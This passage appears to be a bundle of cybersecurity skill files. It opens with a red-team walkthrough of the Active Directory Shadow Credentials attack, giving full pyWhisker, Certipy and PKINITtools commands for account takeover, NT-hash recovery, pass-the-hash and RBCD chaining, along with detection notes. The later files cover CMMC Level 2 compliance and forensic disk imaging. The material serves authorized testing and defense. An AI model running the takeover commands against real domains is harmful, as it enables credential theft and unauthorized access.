reset.\n\nThe technique was published by Elad Shamir (*\"Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover\"*) and implemented in the C# tool **Whisker**. The Python equivalent **pyWhisker** (ShutdownRepo) manipulates the attribute over LDAP, and **Certipy** integrates the entire chain via `certipy shadow auto`. The target environment must support PKINIT and have at least one Domain Controller running Windows Server 2016 or later. Sources: [pyWhisker](https://github.com/ShutdownRepo/pywhisker), [Whisker](https://github.com/eladshamir/Whisker), [The Hacker Recipes — Shadow Credentials](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials).\n\n## When to Use\n\n- When BloodHound reveals `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` over a higher-value user or computer\n- As a stealthier alternative to `ForceChangePassword` (no password reset = less disruption/alerting)\n- To take over a computer account to chain into Resource-Based Constrained Delegation (RBCD)\n- During red-team operations needing account takeover without locking out the legitimate user\n- For purple-team exercises generating `msDS-KeyCredentialLink` modification telemetry\n\n## Prerequisites\n\n- Authorized engagement scope including AD credential-access techniques\n- Control of a principal with write access to the target's `msDS-KeyCredentialLink`\n- A DC running Windows Server 2016+ with PKINIT enabled (domain functional level supporting Key Trust)\n- Network reachability to LDAP (389/636) and Kerberos (88) on a DC\n- Linux attack host with Python 3.8+; install the tooling:\n  ```bash\n  # pyWhisker (from source)\n  git clone https://github.com/ShutdownRepo/pywhisker\n  cd pywhisker && pip install .\n  # Certipy (integrated shadow attack)\n  pipx install certipy-ad\n  # PKINITtools for manual TGT/NT-hash extraction\n  git clone https://github.com/dirkjanm/PKINITtools\n  ```\n\n## Objectives\n\n- Confirm write access over a target's `msDS-KeyCredentialLink`\n- Generate a key pair and append a Key Credential to the target object\n- Request a TGT for the target via PKINIT using the new key\n- Recover the target's NT hash for pass-the-hash / further movement\n- Clean up the injected Key Credential to restore the object's state\n- Document the ACL path that enabled the attack for remediation\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential (device key) to `msDS-KeyCredentialLink` to register an alternate authentication credential for the target account |\n\n## Workflow\n\n### Step 1: Confirm the write primitive\nList existing Key Credentials on the target to verify you have the required access. An empty or readable result confirms write access for the `add` step.\n\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"list\"\n```\n\n### Step 2: Add a Shadow Credential with pyWhisker\nGenerate a certificate/key pair and write it into the target's `msDS-KeyCredentialLink`. pyWhisker outputs a PFX you control.\n\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"add\" --filename victim_shadow\n# Produces victim_shadow.pfx and prints the PFX password\n```\nUse Kerberos auth instead of a password if you only hold a ticket:\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -k --no-pass \\\n    --target \"victim\" --action \"add\" --filename victim_shadow --use-ldaps\n```\n\n### Step 3: Request a TGT via PKINIT\nUse the generated PFX with PKINITtools to obtain a Kerberos TGT for the target.\n\n```bash\npython3 PKINITtools/gettgtpkinit.py \\\n    -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \\\n    corp.local/victim victim.ccache\n```\n\n### Step 4: Recover the NT hash\nExtract the target's NT hash from the AS-REP using the session key from Step 3 (`getnthash.py` reads the AS-REP encryption key, displayed by `gettgtpkinit.py`).\n\n```bash\nexport KRB5CCNAME=victim.ccache\npython3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim\n# Prints the NT hash for 'victim'\n```\n\n### Step 5: One-shot alternative with Certipy\nCertipy's `shadow auto` performs add → PKINIT → dump hash → cleanup automatically, which is ideal for computer-account takeover.\n\n```bash\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim'\n# For a computer account, use the sAMAccountName with trailing $\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'WS01$'\n```\n\n### Step 6: Use the recovered credential\nAuthenticate with the NT hash (or the TGT) to continue the engagement.\n\n```bash\n# Pass-the-hash with NetExec\nnxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>\n# Or use the TGT directly\nexport KRB5CCNAME=victim.ccache\nnxc smb dc.corp.local -u victim --use-kcache\n```\n\n### Step 7: Chain computer takeover into RBCD (optional)\nWhen the target is a computer, the recovered key/hash lets you configure Resource-Based Constrained Delegation to impersonate any user to that host.\n\n```bash\n# Set RBCD so attacker-controlled SPN can impersonate to WS01$\nimpacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \\\n    -action write 'corp.local/attacker:Passw0rd!'\n```\n\n### Step 8: Clean up\nRemove the injected Key Credential to restore the object and reduce detection footprint.\n\n```bash\n# pyWhisker: remove by device-id (printed during add) or clear all you added\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"remove\" --device-id <DEVICE-ID>\n# Certipy shadow auto cleans up automatically; otherwise:\ncertipy shadow clear -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim'\n```\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| pyWhisker | Python LDAP manipulation of msDS-KeyCredentialLink | https://github.com/ShutdownRepo/pywhisker |\n| Whisker | Original C# implementation | https://github.com/eladshamir/Whisker |\n| Certipy | `shadow auto` end-to-end takeover | https://github.com/ly4k/Certipy |\n| PKINITtools | gettgtpkinit / getnthash | https://github.com/dirkjanm/PKINITtools |\n| The Hacker Recipes | Technique walkthrough & defenses | https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials |\n\n## Detection and Remediation Notes\n\n| Area | Guidance |\n|------|----------|\n| Detection | Monitor Windows Security Event ID 5136 (directory object modified) for changes to `msDS-KeyCredentialLink`; alert when a non-AD-Connect/non-Intune principal writes the attribute. |\n| Auditing | Enable directory service object change auditing on user/computer OUs. |\n| Least privilege | Remove unnecessary `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` ACEs (BloodHound `AddKeyCredentialLink` edge). |\n| Mitigation | Where Windows Hello/device registration is unused, restrict who can write Key Credentials and consider tier-0 protected accounts. |\n\n## Validation Criteria\n\n- [ ] Write access over the target's `msDS-KeyCredentialLink` confirmed (`list` succeeded)\n- [ ] Key Credential successfully added (PFX generated)\n- [ ] PKINIT TGT obtained for the target account\n- [ ] Target NT hash recovered and validated against a service\n- [ ] (If computer) RBCD chain or onward movement demonstrated\n- [ ] Injected Key Credential removed / object restored\n- [ ] Enabling ACL path documented with remediation recommendation\n","skills/abusing-shadow-credentials-for-privesc/references/api-reference.md":"# Shadow Credentials Tooling Reference\n\n## pyWhisker (https://github.com/ShutdownRepo/pywhisker)\n\nInvocation: `python3 pywhisker.py [auth] --target <obj> --action <action> [opts]`\n\n| Flag | Meaning |\n|------|---------|\n| `-d DOMAIN` | Target domain (FQDN) |\n| `-u USER` | Controlled username |\n| `-p PASSWORD` | Password |\n| `-k` / `--no-pass` | Kerberos auth (uses KRB5CCNAME) |\n| `-H LM:NT` | Pass-the-hash |\n| `--target NAME` | Target user/computer whose attribute is modified |\n| `--action list` | Enumerate existing Key Credentials |\n| `--action add` | Generate key pair, write Key Credential |\n| `--action remove` | Remove one Key Credential by `--device-id` |\n| `--action clear` | Remove all Key Credentials |\n| `--action info` | Show details of a Key Credential |\n| `--filename NAME` | Output PFX/PEM base name |\n| `--export PEM|PFX` | Output format (default PFX) |\n| `--device-id GUID` | Target device for remove/info |\n| `--dc-ip IP` | Domain Controller IP |\n| `--use-ldaps` | Use LDAPS (636) |\n\n### Example\n```bash\npython3 pywhisker.py -d corp.local -u attacker -p 'Passw0rd!' \\\n    --target victim --action add --filename victim_shadow\n```\n\n## Certipy `shadow` (https://github.com/ly4k/Certipy)\n\n| Command | Meaning |\n|---------|---------|\n| `certipy shadow auto` | Add → PKINIT → dump NT hash → cleanup (end to end) |\n| `certipy shadow add` | Add Key Credential only |\n| `certipy shadow list` | List Key Credentials |\n| `certipy shadow clear` | Clear Key Credentials |\n| `certipy shadow info` | Show Key Credential info |\n\nKey flags: `-u USER@DOMAIN`, `-p PW` / `-hashes :NT` / `-k -no-pass`,\n`-dc-ip IP`, `-account TARGET` (use trailing `$` for computers), `-ns IP`, `-dns-tcp`.\n\n### Example\n```bash\ncertipy shadow auto -u attacker@corp.local -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'WS01$'\n```\n\n## PKINITtools (https://github.com/dirkjanm/PKINITtools)\n\n| Script | Purpose |\n|--------|---------|\n| `gettgtpkinit.py -cert-pfx FILE -pfx-pass PW DOMAIN/USER out.ccache` | Request TGT via PKINIT; prints AS-REP key |\n| `getnthash.py -key <AS-REP-KEY> DOMAIN/USER` | Recover NT hash (KRB5CCNAME set) |\n\n### Example\n```bash\npython3 gettgtpkinit.py -cert-pfx victim_shadow.pfx -pfx-pass abc123 \\\n    corp.local/victim victim.ccache\nexport KRB5CCNAME=victim.ccache\npython3 getnthash.py -key <AS-REP-KEY> corp.local/victim\n```\n\n## Detection signal\n- Event ID 5136 — modification of `msDS-KeyCredentialLink` (Directory Service Changes auditing).\n- BloodHound edge: `AddKeyCredentialLink`.\n","skills/abusing-shadow-credentials-for-privesc/references/standards.md":"# Standards Mapping — Abusing Shadow Credentials for Privilege Escalation\n\n## MITRE ATT&CK (Enterprise)\n\n| ID | Name | Rationale |\n|----|------|-----------|\n| T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential to `msDS-KeyCredentialLink` registers an alternate device/certificate credential for the target, which is exactly the device-registration manipulation this sub-technique describes. |\n\nReference: https://attack.mitre.org/techniques/T1098/005/\n\nRelated techniques exercised in the chain:\n- T1649 (Steal or Forge Authentication Certificates) — the PKINIT certificate used to authenticate.\n- T1550.003 / T1558 — using the recovered TGT/hash for movement.\n\n## NIST Cybersecurity Framework 2.0\n\n| ID | Name | Rationale |\n|----|------|-----------|\n| PR.AA-05 | Access permissions, entitlements, and authorizations are defined, managed, and enforced incorporating least privilege and separation of duties | The attack is only possible because of over-permissive ACEs (`GenericWrite`/`GenericAll`/`AddKeyCredentialLink`) on AD objects; remediation is least-privilege enforcement of who may write Key Credentials. |\n\nReference: https://csrc.nist.gov/projects/cybersecurity-framework\n","skills/achieving-cmmc-level-2-compliance/SKILL.md":"---\nname: achieving-cmmc-level-2-compliance\ndescription: >-\n  Prepare a defense-contractor environment for CMMC Level 2 certification: scope CUI\n  and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14\n  families, compute the SPRS score with the DoD Assessment Methodology, manage a\n  compliant POA&M, and ready the organization for a C3PAO assessment. Use when an\n  organization handles Controlled Unclassified Information (CUI) under a DoD contract,\n  when a contract carries DFARS clause 252.204-7012/7019/7020/7021, when preparing for\n  or responding to a CMMC assessment, when computing or improving an SPRS score, when\n  building a System Security Plan or POA&M for 800-171, or when scoping which systems\n  are in the CUI boundary. Keywords: CMMC, CMMC Level 2, NIST 800-171, SP 800-171 Rev 2,\n  CUI, FCI, SPRS, DFARS 7012, C3PAO, POA&M, System Security Plan, DoD Assessment\n  Methodology, 110 controls, defense industrial base, DIB, FedRAMP equivalency.\ndomain: cybersecurity\nsubdomain: compliance-governance\ntags:\n- cmmc\n- nist-800-171\n- cui\n- sprs\n- dfars\n- c3pao\n- poam\n- compliance\n- governance\n- defense-industrial-base\nversion: \"1.0\"\nauthor: andrewibrah\nlicense: Apache-2.0\nnist_csf:\n- GV.OC-03\n- GV.SC-01\n- ID.AM-08\n- ID.RA-05\n- PR.AA-01\n- PR.DS-01\nmitre_attack:\n- T1078\n- T1190\n- T1041\n- T1048\n- T1567\n---\n\n# Achieving CMMC Level 2 Compliance\n\n## When to Use\n\n- When an organization in the **Defense Industrial Base (DIB)** stores, processes, or transmits **Controlled Unclassified Information (CUI)** under a DoD contract.\n- When a contract includes **DFARS 252.204-7012** (safeguarding/incident reporting), **-7019/-7020** (NIST 800-171 self-assessment + SPRS), or the new **-7021** (CMMC requirement).\n- When preparing for a **C3PAO** third-party assessment or a DoD-led assessment.\n- When you must **compute, post, or improve an SPRS score** based on the NIST SP 800-171 DoD Assessment Methodology.\n- When authoring or remediating a **System Security Plan (SSP)** and **POA&M** for the 110 requirements.\n- When **scoping** which assets fall inside the CUI/FCI boundary (CUI assets, security-protection assets, contractor risk-managed assets, out-of-scope).\n\n## Prerequisites\n\n- Knowledge of **which contracts carry CUI** and the CUI categories involved (check the contract and the DoD CUI Registry).\n- An asset inventory and network diagram so you can define the **CMMC assessment scope** before assessing controls.\n- The **NIST SP 800-171 Rev 2** requirements and the **DoD Assessment Methodology** scoring weights.\n- A documented **SSP** (its absence is itself a failed requirement — 3.12.4).\n- Identification of any **External Service Providers (ESPs)** / cloud services touching CUI, and whether they meet **FedRAMP Moderate (or equivalency)**.\n\n## Workflow\n\n### 1. Determine applicability and CUI categories\nConfirm the contract requires CMMC Level 2 (CUI present, not just FCI). FCI-only contracts are **Level 1** (the 15 FAR 52.204-21 requirements). Identify CUI categories from the contract and the DoD CUI Registry.\n\n### 2. Scope the environment\nClassify every asset into one of the CMMC scoping categories:\n- **CUI Assets** — process/store/transmit CUI (in scope, assessed against all applicable controls).\n- **Security Protection Assets** — provide security to the CUI environment (in scope).\n- **Contractor Risk Managed Assets** — could but are not intended to handle CUI; managed by policy.\n- **Specialized Assets** (IoT/OT, GFE, test equipment) — documented, limited assessment.\n- **Out-of-Scope** — physically/logically isolated from CUI.\n\nMinimize scope deliberately — a smaller, well-segmented CUI enclave is far cheaper to certify than a flat network.\n\n### 3. Implement the 110 requirements (NIST SP 800-171 Rev 2)\nWork the **14 families** (3.1–3.14). For each requirement, implement, then write the **how** in the SSP. High-leverage early wins: MFA (3.5.3), FIPS-validated cryptography (3.13.11), audit logging (3.3.x), access control + least privilege (3.1.x), and incident response (3.6.x).\n\n### 4. Score with the DoD Assessment Methodology (SPRS)\nStart at **110** and subtract the weighted value (**1, 3, or 5 points**) of each **unmet** requirement; partial credit applies to a small number of controls (e.g., MFA, FIPS crypto). The result is the **SPRS score** (maximum 110; the methodology floor is −203). Post the score, the SSP date, and the assessment scope to **SPRS** (or eMASS for higher assessments).\n\n### 5. Build a compliant POA&M\nDocument every unmet requirement with owner, remediation, and milestone. **Constraints under the CMMC rule:** a **Conditional** status requires a score of at least **80%** (≥ 88 of 110), only **POA&M-eligible** requirements may be deferred (the highest-weighted security requirements must be fully met — verify eligibility against 32 CFR Part 170), and all POA&M items must be **closed within 180 days** to convert Conditional → **Final**.\n\n### 6. Assess (self or C3PAO)\n- **Level 1** and a subset of Level 2 = annual **self-assessment** with an affirmation in SPRS.\n- **Level 2 (most CUI contracts)** = triennial **C3PAO** certification assessment.\n- **Level 3** = DoD (DIBCAC) assessment on top of Level 2, adding SP 800-172 enhanced requirements.\nAssessors evaluate each objective as **MET / NOT MET / N/A** with evidence (examine/interview/test). A senior official files the **annual affirmation** of continued compliance.\n\n### 7. Maintain certification\nCertification is valid **three years** with **annual affirmations**. Maintain the SSP, re-score on change, keep evidence current, and feed significant changes back into the assessment.\n\n## Key Concepts\n\n| Concept | Definition |\n|---|---|\n| FCI | Federal Contract Information — Level 1 protects it (FAR 52.204-21). |\n| CUI | Controlled Unclassified Information — Level 2 protects it (NIST 800-171). |\n| 110 requirements | The SP 800-171 Rev 2 security requirements across 14 families. |\n| SPRS | Supplier Performance Risk System — where the 800-171 score is posted. |\n| DoD Assessment Methodology | The 1/3/5-point weighting used to compute the score from 110. |\n| C3PAO | CMMC Third-Party Assessment Organization — performs Level 2 certification. |\n| POA&M | Plan of Action & Milestones — limited, must close in 180 days for Final status. |\n| Conditional vs Final | Conditional = open POA&M (score ≥ 80%); Final = all controls met. |\n| ESP | External Service Provider — must meet FedRAMP Moderate / equivalency for CUI. |\n| Scoping categories | CUI / Security Protection / Contractor Risk Managed / Specialized / Out-of-Scope. |\n\n## Tools & Systems\n\n- **NIST SP 800-171 Rev 2** — the 110 requirements (and 800-171A for assessment objectives).\n- **DoD NIST SP 800-171 Assessment Methodology** — the scoring weights.\n- **32 CFR Part 170** (CMMC Program rule) and **48 CFR / DFARS 252.204-7021** (acquisition rule).\n- **SPRS** — score posting; **SAM.gov** for registration.\n- **SP 800-172 / 800-172A** — enhanced requirements for Level 3.\n- **GRC / compliance tooling** — to manage the SSP, POA&M, and evidence (e.g., Xacta, RegScale, FutureFeed-style trackers).\n\n## Common Scenarios\n\n- **Prime flows CUI to a sub.** The sub needs its own Level 2 scope, SSP, SPRS score, and (most likely) C3PAO certification.\n- **Score is below 88.** Prioritize the highest-weighted unmet requirements (5-point, then 3-point) to clear the conditional threshold and shrink the POA&M.\n- **Cloud holds CUI.** Confirm the service is FedRAMP Moderate authorized or meets equivalency; document the responsibility split.\n- **Flat network.** Re-scope into a segmented CUI enclave to cut the assessment surface before spending on controls.\n- **Annual affirmation due.** A senior official affirms continued compliance in SPRS; let it lapse and you risk contract eligibility.\n\n## Output Format\n\nProduce a **CMMC Level 2 Readiness Report** using `assets/template.md`, containing:\n\n1. **Applicability & CUI categories** — why Level 2 applies.\n2. **Scope** — assets by scoping category and the CUI boundary diagram reference.\n3. **Control status by family** — met / not met / N/A across the 14 families.\n4. **SPRS score** — computed score, deductions, and the gap to 110 and to the 88 threshold.\n5. **POA&M** — unmet requirements, eligibility check, owners, 180-day milestones.\n6. **Assessment path** — self vs C3PAO, target date, affirmation owner.\n7. **Remediation roadmap** — sequenced by point value and effort.\n\nUse `scripts/process.py` to compute the SPRS score from a control-status JSON, flag POA&M-eligibility concerns, and report the gap to the conditional-certification threshold.\n","skills/achieving-cmmc-level-2-compliance/assets/template.md":"# CMMC Level 2 Readiness Report — Worked Example\n\n> Filled example for a small DIB manufacturer handling CUI on a segmented enclave.\n> Replace bracketed content for your own organization.\n\n## 1. Applicability & CUI Categories\n- **Contract drivers:** Prime subcontract with DFARS **252.204-7012** and **-7021**; CUI present → **CMMC Level 2** required.\n- **CUI categories (from contract + DoD CUI Registry):** Controlled Technical Information (CTI), Export Controlled (EAR).\n- **Target assessment path:** Triennial **C3PAO** certification (Phase 2 applies from Nov 10, 2026).\n\n## 2. Scope (CMMC Level 2 Scoping Guide)\n| Category | Examples in this environment |\n|---|---|\n| CUI Assets | Engineering workstations, CUI file share, the segmented \"Enclave-1\" VLAN |\n| Security Protection Assets | EDR console, SIEM, firewall, IdP/MFA, jump host |\n| Contractor Risk Managed | General corporate laptops (policy-blocked from CUI) |\n| Specialized Assets | CNC machine controllers (documented, isolated) |\n| Out-of-Scope | Guest Wi-Fi, marketing SaaS |\n\n**Boundary note:** CUI is confined to Enclave-1 behind segmentation and MFA. Deliberately minimized to shrink the assessment surface. See network diagram `CUI-boundary-v3`.\n\n## 3. Control Status by Family (NIST SP 800-171 Rev 2)\n*(summary; full per-requirement status lives in the SSP)*\n\n| Family | Met | Partial | Not Met | N/A |\n|---|---|---|---|---|\n| 3.1 Access Control | 22 | 0 | 0 | 0 |\n| 3.3 Audit & Accountability | 8 | 0 | 1 | 0 |\n| 3.5 Identification & Auth | 10 | 1 | 0 | 0 |\n| 3.8 Media Protection | 8 | 0 | 1 | 0 |\n| 3.13 System & Comms Protection | 15 | 0 | 1 | 0 |\n| 3.14 System & Info Integrity | 6 | 0 | 1 | 0 |\n| *(others)* | all met | — | — | — |\n\n## 4. SPRS Score\n*(computed by `scripts/process.py` from the control-status JSON)*\n\n- **Score: 97 / 110** (started at 110; deducted 13).\n- **Gap to perfect:** 13 points across 4 not-met + 1 partial requirement.\n- **Conditional threshold (≥ 88):** **MET** (margin 9) — eligible for Conditional status *if* the remaining items are POA&M-eligible.\n- **Posted to SPRS:** score, SSP date, and assessment scope.\n\n## 5. POA&M (eligibility-checked)\n| ID | Requirement | Points | Eligibility | Remediation | Owner | Milestone (≤180d) |\n|---|---|---|---|---|---|---|\n| 3.3.1 | Audit log generation/coverage | 5 | **Verify** — high weight; confirm against 32 CFR 170 | Enable full audit policy + ship to SIEM | SecOps | 2026-07-30 |\n| 3.13.11 | FIPS-validated cryptography | 3 | **Verify** eligibility | Replace non-validated module with FIPS 140-validated | Infra | 2026-08-15 |\n| 3.5.3 | MFA (partial) | 3 | Partial-credit control | Extend MFA to remaining admin paths | IAM | 2026-07-20 |\n| 3.8.9 | Backup CUI protection | 1 | Eligible | Encrypt + access-control backup store | Infra | 2026-08-31 |\n| 3.14.1 | Flaw remediation | 1 | Eligible | Formalize patch SLA + tracking | IT | 2026-08-31 |\n\n> The two 3-point and one 5-point items must clear eligibility review; the highest-weighted security requirements generally cannot remain on a POA&M. All items close within **180 days** to convert Conditional → **Final**.\n\n## 6. Assessment Path\n- **Type:** C3PAO certification assessment.\n- **Target window:** Q4 2026, after POA&M closure of the high-weight items.\n- **Affirmation owner:** [senior official] files the annual affirmation in SPRS.\n\n## 7. Remediation Roadmap (sequenced by point value, then effort)\n1. **3.3.1 audit logging (5 pts)** — biggest score lever and likely POA&M-ineligible → do first.\n2. **3.13.11 FIPS crypto (3 pts)** and **3.5.3 MFA gap (3 pts)** — close to remove eligibility risk.\n3. **3.8.9, 3.14.1 (1 pt each)** — low-effort cleanups before the C3PAO date.\n4. Re-run the SPRS calculator after each closure; goal is **110** before assessment.\n","skills/achieving-cmmc-level-2-compliance/references/standards.md":"# CMMC Level 2 — Standards & Reference\n\n## Governing rules\n| Rule | Citation | Status / effective date |\n|---|---|---|\n| CMMC Program rule | 32 CFR Part 170 | Effective **December 16, 2024** |\n| CMMC acquisition rule (DFARS) | 48 CFR; DFARS clause **252.204-7021** (and 204.7503) | Published Sept 10, 2025; effective **November 10, 2025** |\n| Safeguarding CUI / incident reporting | DFARS **252.204-7012** | In effect |\n| NIST 800-171 self-assessment + SPRS posting | DFARS **252.204-7019 / -7020** | In effect |\n\n> Always confirm current status at the source — acquisition rules and phase dates have moved before. Authoritative: https://dodcio.defense.gov/CMMC/ and the eCFR for 32 CFR Part 170.\n\n## Phased rollout (per the acquisition rule)\n| Phase | Begins | What applies |\n|---|---|---|\n| Phase 1 | **Nov 10, 2025** | Level 1 and some Level 2 **self-assessment** required in solicitations |\n| Phase 2 | **Nov 10, 2026** | Level 2 **C3PAO certification** required for applicable contracts |\n| Phase 3 | **Nov 10, 2027** | Level 2 C3PAO + Level 3 **DIBCAC** assessment phased in |\n| Phase 4 | **Nov 10, 2028** | Full implementation across applicable DoD contracts |\n\n## The three CMMC levels\n| Level | Protects | Requirements | Assessment |\n|---|---|---|---|\n| Level 1 | FCI | 15 requirements (FAR 52.204-21) | Annual self-assessment + affirmation |\n| Level 2 | CUI | **110 requirements (NIST SP 800-171 Rev 2)** | Self **or** triennial C3PAO certification |\n| Level 3 | CUI (high priority) | 110 + selected **SP 800-172** enhanced | DoD (DIBCAC) assessment |\n\nCertification validity: **3 years**, with **annual affirmation** by a senior official in SPRS.\n\n## NIST SP 800-171 Rev 2 — the 14 families (110 requirements)\n| § | Family | # reqs |\n|---|---|---|\n| 3.1 | Access Control | 22 |\n| 3.2 | Awareness and Training | 3 |\n| 3.3 | Audit and Accountability | 9 |\n| 3.4 | Configuration Management | 9 |\n| 3.5 | Identification and Authentication | 11 |\n| 3.6 | Incident Response | 3 |\n| 3.7 | Maintenance | 6 |\n| 3.8 | Media Protection | 9 |\n| 3.9 | Personnel Security | 2 |\n| 3.10 | Physical Protection | 6 |\n| 3.11 | Risk Assessment | 3 |\n| 3.12 | Security Assessment | 4 |\n| 3.13 | System and Communications Protection | 16 |\n| 3.14 | System and Information Integrity | 7 |\n| | **Total** | **110** |\n\n(Assessment objectives for each requirement are in **NIST SP 800-171A**.)\n\n## DoD Assessment Methodology — SPRS scoring\n- Start at **110**. Subtract the weighted value of each **NOT MET** requirement.\n- Weights: **1, 3, or 5 points**. The most security-significant requirements are weighted 3 or 5.\n- **Partial credit** applies to a small number of requirements (notably MFA at 3.5.3 and FIPS-validated cryptography at 3.13.11) where partial implementation reduces the deduction.\n- Maximum score **110**; the methodology floor is **−203** (more is deducted than the 110 starting points because of the weighting).\n- The complete per-requirement point assignment is published in the **DoD NIST SP 800-171 Assessment Methodology** — use that document for the authoritative weight of each control rather than estimating.\n\n## POA&M rules under the CMMC rule (32 CFR Part 170)\n- A **Conditional** Level 2 status is allowed only if the assessment score is **at least 80% (≥ 88 of 110)**.\n- Only **POA&M-eligible** requirements may be deferred. The highest-weighted security requirements generally **must be fully met** and **cannot** sit on a POA&M — verify each item's eligibility against the rule.\n- All POA&M items must be **closed within 180 days**; a closeout assessment then converts **Conditional → Final**.\n\n## Scoping categories (CMMC Level 2 Scoping Guide)\n| Category | Treatment |\n|---|---|\n| CUI Assets | Process/store/transmit CUI — assessed against applicable requirements. |\n| Security Protection Assets | Provide security to the CUI environment — in scope. |\n| Contractor Risk Managed Assets | Capable of handling CUI but not intended to — managed by policy/config. |\n| Specialized Assets | IoT/OT, GFE, test equipment — documented, limited assessment. |\n| Out-of-Scope Assets | Isolated from CUI — not assessed. |\n\n## External Service Providers / cloud\n- Cloud services that store/process/transmit CUI must be **FedRAMP Moderate authorized or meet FedRAMP Moderate equivalency**.\n- Document the customer/provider responsibility split (CRM) and inherited controls in the SSP.\n\n## NIST CSF 2.0 alignment\n| CSF 2.0 ID | Relevance |\n|---|---|\n| GV.OC-03 | Legal/regulatory (DFARS/CMMC) requirements understood. |\n| GV.SC-01 | Supply-chain risk management — flowdown to subs / ESPs. |\n| ID.AM-08 | Assets managed across the lifecycle (scoping). |\n| ID.RA-05 | Risk informs prioritization of unmet requirements. |\n| PR.AA-01 | Identity and access (3.1 / 3.5 families). |\n| PR.DS-01 | Data-at-rest protection (FIPS crypto, media protection). |\n","skills/acquiring-disk-image-with-dd-and-dcfldd/SKILL.md":"---\nname: acquiring-disk-image-with-dd-and-dcfldd\ndescription: Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.\ndomain: cybersecurity\nsubdomain: digital-forensics\ntags:\n- forensics\n- disk-imaging\n- evidence-acquisition\n- dd\n- dcfldd\n- hash-verification\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- RS.AN-03\n- DE.AE-02\n- RS.MA-01\nmitre_attack:\n- T1006\n- T1005\n- T1025\n- T1074.001\n---\n\n# Acquiring Disk Image with dd and dcfldd\n\n## When to Use\n- When you need to create a forensic copy of a suspect drive for investigation\n- During incident response when preserving volatile disk evidence before analysis\n- When law enforcement or legal proceedings require a verified bit-for-bit copy\n- Before performing any destructive analysis on a storage device\n- When acquiring images from physical drives, USB devices, or memory cards\n\n## Prerequisites\n- Linux-based forensic workstation (SIFT, Kali, or any Linux distro)\n- `dd` (pre-installed on all Linux systems) or `dcfldd` (enhanced forensic version)\n- Write-blocker hardware or software write-blocking configured\n- Destination drive with sufficient storage (larger than source)\n- Root/sudo privileges on the forensic workstation\n- SHA-256 or MD5 hashing utilities (`sha256sum`, `md5sum`)\n\n## Workflow\n\n### Step 1: Identify the Target Device and Enable Write Protection\n\n```bash\n# List all connected block devices to identify the target\nlsblk -o NAME,SIZE,TYPE,MOUNTPOINT,MODEL\n\n# Verify the device details\nfdisk -l /dev/sdb\n\n# Enable software write-blocking (if no hardware blocker)\nblockdev --setro /dev/sdb\n\n# Verify read-only status\nblockdev --getro /dev/sdb\n# Output: 1 (means read-only is enabled)\n\n# Alternatively, use udev rules for persistent write-blocking\necho 'SUBSYSTEM==\"block\", ATTRS{serial}==\"WD-WCAV5H861234\", ATTR{ro}=\"1\"' > /etc/udev/rules.d/99-writeblock.rules\nudevadm control --reload-rules\n```\n\n### Step 2: Prepare the Destination and Document the Source\n\n```bash\n# Create case directory structure\nmkdir -p /cases/case-2024-001/{images,hashes,logs,notes}\n\n# Document source drive information\nhdparm -I /dev/sdb > /cases/case-2024-001/notes/source_drive_info.txt\n\n# Record the serial number and model\nsmartctl -i /dev/sdb >> /cases/case-2024-001/notes/source_drive_info.txt\n\n# Pre-hash the source device\nsha256sum /dev/sdb | tee /cases/case-2024-001/hashes/source_hash_before.txt\n```\n\n### Step 3: Acquire the Image Using dd\n\n```bash\n# Basic dd acquisition with progress and error handling\ndd if=/dev/sdb of=/cases/case-2024-001/images/evidence.dd \\\n   bs=4096 \\\n   conv=noerror,sync \\\n   status=progress 2>&1 | tee /cases/case-2024-001/logs/dd_acquisition.log\n\n# For compressed images to save space\ndd if=/dev/sdb bs=4096 conv=noerror,sync status=progress | \\\n   gzip -c > /cases/case-2024-001/images/evidence.dd.gz\n\n# Using dd with a specific count for partial acquisition\ndd if=/dev/sdb of=/cases/case-2024-001/images/first_1gb.dd \\\n   bs=1M count=1024 status=progress\n```\n\n### Step 4: Acquire Using dcfldd (Preferred Forensic Method)\n\n```bash\n# Install dcfldd if not present\napt-get install dcfldd\n\n# Acquire image with built-in hashing and split output\ndcfldd if=/dev/sdb \\\n   of=/cases/case-2024-001/images/evidence.dd \\\n   hash=sha256,md5 \\\n   hashwindow=1G \\\n   hashlog=/cases/case-2024-001/hashes/acquisition_hashes.txt \\\n   bs=4096 \\\n   conv=noerror,sync \\\n   errlog=/cases/case-2024-001/logs/dcfldd_errors.log\n\n# Split large images into manageable segments\ndcfldd if=/dev/sdb \\\n   of=/cases/case-2024-001/images/evidence.dd \\\n   hash=sha256 \\\n   hashlog=/cases/case-2024-001/hashes/split_hashes.txt \\\n   